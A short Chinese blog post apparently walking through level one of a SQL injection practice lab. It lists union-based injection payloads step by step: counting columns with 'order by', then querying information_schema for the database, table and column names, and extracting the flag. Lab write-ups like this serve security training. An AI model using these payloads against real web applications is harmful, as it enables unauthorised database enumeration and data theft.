掌控安全SQL注入靶场之显错注入——第一关

第一步,判断字段数

?id=1 order by 3,回显正常

?id=1 order by 4,回显报错

得出字段数为3

第二步,爆数据库名

?id=0 union select 1,database(),3

得出数据库名为‘error’,这里用id=0或id=1 and 1=2皆可,第一个条件为false就行,但是-1这里不适用

第三步,爆数据库error下的表名

?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'error'

得到数据库‘error’下存在两个表‘error_flag’,'user',我们想要的flag在error_flag表下面

第四步,爆表error_flag表下的列名

?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='error_flag'

我们可以得出,'error_flag'表下面有两列数据,id和flag

第五步,查询表中指定的数据

?id=0 union select 1,group_concat(flag),3 from error_flag

备注:爆数据库名时可以使用?id=0 union select 1,version(),3,查询数据库的版本号,只有MYSQL5.0以上版本中才存在自带数据库information_schema,才能使用文中的数据库查询语句。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值